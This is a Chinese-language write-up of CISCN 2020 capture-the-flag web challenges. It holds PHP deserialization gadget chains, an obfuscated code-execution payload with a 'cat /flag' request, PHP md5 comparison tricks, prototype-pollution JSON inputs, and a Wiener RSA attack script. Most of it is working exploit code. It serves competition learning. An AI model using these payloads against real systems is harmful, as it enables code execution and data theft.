2020ciscn-web题目writeup

Web越来越便宜

0x01 babyunserialize

wm2020ctf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace DB\SQL {
class Mapper {
protected
//! PDO wrapper
$db,
//! Database engine
$engine,
//! SQL table
$source,
//! SQL table (quoted)
$table,
//! Alias for SQL table
$as,
//! Last insert ID
$_id,
//! Defined fields
$fields,
//! Adhoc fields
$adhoc = [],
//! Dynamic properties
$props = [];

public function __construct() {
$this->adhoc = array(20 => ["expr" => "test"]);
$this->db = $this;
$this->props['quotekey'] = "phpinfo";

}
}

}
namespace CLI {
use DB\SQL\Mapper;

class Agent {
protected
$server,
$id,
$socket,
$flag,
$verb,
$uri,
$headers;
public function __construct() {
$this->server->events = array("disconnect" => [new Mapper(), "find"]);
}

}
class WS {
}
}
namespace {
use CLI\WS;

echo "\n";
//print_r(serialize(new WS()));
echo urlencode(serialize(array(new WS(), new CLI\Agent())));
}

image-20200820212428928

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
namespace DB\SQL {
class Mapper {
protected
//! PDO wrapper
$db,
//! Database engine
$engine,
//! SQL table
$source,
//! SQL table (quoted)
$table,
//! Alias for SQL table
$as,
//! Last insert ID
$_id,
//! Defined fields
$fields,
//! Adhoc fields
$adhoc = [],
//! Dynamic properties
$props = [];

public function __construct() {
$this->adhoc = array(20 => ["expr" => "test"]);
$this->db = $this;
$this->props['read'] = "phpinfo";

}
}

}
namespace CLI {
use DB\Jig\Mapper;

class Agent {
protected
$server,
$id,
$socket,
$flag,
$verb,
$uri,
$headers;
public function __construct($a) {
$this->server->events = array("disconnect" => [new Mapper($a), "insert"]);
}

}
class WS {
}
}
namespace DB\Jig{
class Mapper {
protected
//! Flat-file DB wrapper
$db,
//! Data file
$file,
//! Document identifier
$id,
//! Document contents
$document=[],
//! field map-reduce handlers
$_reduce;
public function __construct($a){
$this->db = $a;
$this->file = 20;
}
}
}
namespace {
use CLI\WS;

echo "\n";
//print_r(serialize(new WS()));
$a= new DB\SQL\Mapper();
echo urlencode(serialize(array(new WS(), new CLI\Agent($a))));
}

0x02 easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

pcntl_fork — 在当前进程当前位置产生分支(子进程)。译注:fork是创建了一个子进程,父进程和子进程 都从fork的位置开始向下继续执行,不同的是父进程执行过程中,得到的fork返回值为子进程 号,而子进程得到的是0。

phpbug

1
2
/?a=call_user_func&b=pcntl_wait
/?a=call_user_func&b=pcntl_waitpid

0x03 rceme

参考https://xz.aliyun.com/t/6068和RCTF的calc,

1
2
3
4
5
<?php
$str = "((((((1).(5)){1})^(((1).(0.00001)){4})).((((1).(0.1)){2})^(((999**999).(1)){2})).((((1).(5)){1})^(((1).(0.00001)){4})).((((1).(0.1)){2})^((((1).(0.00001)){4})|(((999**999).(1)){2}))).((((1).(0.1)){2})|(((999**999).(1)){1})).((((999**999).(1)){0})^((((1).(0.1)){2})|(((1).(-1)){1}))).((((1).(0.1)){2})|(((1).(0.00001)){4}))))();//";
eval($str);
$str = "{if:1)" . str_replace(array("{", "}"), array("[", "]"), $str) . "}{end if}";
echo $str;
1
{if:1)((((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^(((999**999).(1))[2])).((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^((((1).(0.00001))[4])|(((999**999).(1))[2]))).((((1).(0.1))[2])|(((999**999).(1))[1])).((((999**999).(1))[0])^((((1).(0.1))[2])|(((1).(-1))[1]))).((((1).(0.1))[2])|(((1).(0.00001))[4]))))();//}{end if}

image-20200820184830765

1
http://eci-2zei1qumnps754gs59g6.cloudeci1.ichunqiu.com/?a={if:1) echo `cat /flag`;//}x{end if}

0x04 easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class trick {
public $trick1;
public $trick2;
public function __destruct() {
$this->trick1 = (string) $this->trick1;
if (strlen($this->trick1) > 5 || strlen($this->trick2) > 5) {
die("你太长了");
}
if ($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2) {
echo file_get_contents("/flag");
}
}

}
$a = new trick();
$a->trick1 = "INF";
$a->trick2 = 1 / 0;
echo serialize($a);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class trick {
public $trick1;
public $trick2;
public function __destruct() {
$this->trick1 = (string) $this->trick1;
if (strlen($this->trick1) > 5 || strlen($this->trick2) > 5) {
die("你太长了");
}
if ($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2) {
echo file_get_contents("/flag");
}
}

}
$a = new trick();
$a->trick1 = "NaN";
$a->trick2 = 0 / 0;
echo serialize($a);

0x05 littlegame

给了源码,审计源码可以看到有如下三个关键的路由

image-20200821142901154

  • /DeveloperControlPanel

    如果admin对应body传的的key索引对应的值和body传的password相等就可以得到flag。

    image-20200821143105291
  • /Privilege

    对body传的NewAttributeKey和NewAttributeValue作setFn操作,通过搜索可以知道setFn有原型链污染漏洞image-20200821143353995

解题步骤:

  1. {"NewAttributeKey":"constructor.prototype.a1","NewAttributeValue":"aaaaa"}
    
    1
    2
    3
    4
    5

    ![image-20200821143857671](2020ciscn-web题目writeup/image-20200821143857671.png)

    2. ```json
    {"key":"a1","password":"aaaaa"}
    ![image-20200821144013140](2020ciscn-web题目writeup/image-20200821144013140.png)

0x06 bd

image-20200821144531943

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import *

def wiener_hack(e, n):
# firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
t = Arithmetic.is_perfect_square(discr)
if t != -1 and (s + t) % 2 == 0:
print("Hacked!")
return d
return False
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
d = wiener_hack(e, n)
print(d)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)